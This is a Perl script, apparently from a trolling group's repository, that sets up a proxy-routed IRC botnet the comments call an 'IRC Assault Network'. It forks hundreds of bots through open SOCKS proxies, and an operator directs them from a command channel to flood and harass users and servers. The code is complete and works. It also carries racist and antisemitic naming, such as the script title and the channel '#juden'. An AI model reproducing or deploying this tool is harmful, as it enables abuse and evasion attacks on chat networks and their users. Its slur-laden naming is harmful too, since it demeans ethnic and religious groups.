source: trollforge/rucas/asian.pl @ 203

#!/usr/bin/perl
# ASIAN by Rucas
# Automated Synchronous IRC Assault Network
# Based on AYSYN by mef
#
# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
# directory as this script.  If you'd like to use tor, you can put
# the correct info on one line in proxies.txt and this app will
# still function properly (although generally tor sucks)
#
# All bots join $channel and are issued raw irc commands from there
# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
# "botname PRIVMSG Rucas lol failure" and such.
#
# Testing of an early version of this script is the reason that
# Freenode now checks for open SOCKS proxies.

use warnings;
use strict;
use threads;
use threads::shared;
#use IO::Socket::Socks;
use Net::SOCKS;

sub server {
        my @servers = ("irc.gnaa.us");
        return $servers[rand(@servers)];
}
our $port        = "6667";
our $channel     = "#juden";
sub fullname { return "lol".int(rand(2000)); }
our $nickbase    = "GNAA";              #### keep this very short
our $maxthreads  = 500;
our $threadcount = 0;
our @thr;
our @proxies = ();
our $rand    = 0;
our $count   = 0;
print "/!\\ ASIAN BOOTING UP /!\\\r\n";

sub bot {
    warn "HY LOL";
    my %settings = @_;

warn <<EOM;
        ConnectAddr => server(),
        ConnectPort => $port,
        ProxyAddr   => $settings{sockshost},
        ProxyPort   => $settings{socksport},
EOM
    my $socket     = new Net::SOCKS(
        socks_addr   => $settings{sockshost},
        socks_port   => $settings{socksport},
        protocol_version => 4,
    );
    my $sock = $socket->connect(
        peer_addr => server(),
        peer_port => $port,
    );
    warn "CONNECTED";
    unless ($sock) { warn "Ugh couldn't connect $settings{sockshost} $settings{socksport} "; return; }
    print $sock "NICK $settings{nick}\r\n";
    print $sock "USER $settings{nick} 8 * :".fullname()."\r\n";
    warn "NICK $settings{nick}\r\n";
    warn "USER $settings{nick} 8 * :".fullname()."\r\n";

    while ( my $input = <$sock> ) {
        print "$input\n";
        if ( $input =~ /004/ ) {
            last;
        }
        elsif ( $input =~ /433/ ) {
            die "Nickname is already in use.";
        }
    }

    print $sock "JOIN $channel\r\n";

    while ( my $input = <$sock> ) {
        chop $input;
        print "-> $settings{nick} $input\n";
        if ( $input =~ /^PING(.*)$/i ) {
            print $sock "PONG $1\r\n";
        }
        if ( $input =~ /PRIVMSG $channel :all (.*)$/i ) {
            print $sock "$1\r\n";
            print "<- $settings{nick} $1\r\n";
        }
        if ( $input =~ /PRIVMSG $channel :$settings{nick} (.*)$/i ) {
            print $sock "$1\r\n";
            print "<- $settings{nick} $1\r\n";
        }
    }
    $socket->close();

}

sub spawn {
    open( PROXYLIST, "./proxies.txt" );
    push @proxies, map { { ip => $_->[0], port => $_->[1] } }[ split /[\:\n]/ ]
      for <PROXYLIST>;
    for (;;) {
        $rand = int( rand(@proxies) );
        my $host = $proxies[$rand]{ip};
        my $port = $proxies[$rand]{port};
        my $nick = "$nickbase$threadcount";
        print "$nick $host:$port\r\n";
        my $pid = fork();
        if ($pid == 0) {
            #child
            bot( nick      => $nick, sockshost => $host, socksport => $port );
            exit;
        }
        sleep 10;
        $threadcount++;
    }
}
spawn();
print "/!\\ ASIAN SHUTTING DOWN /!\\\r\n";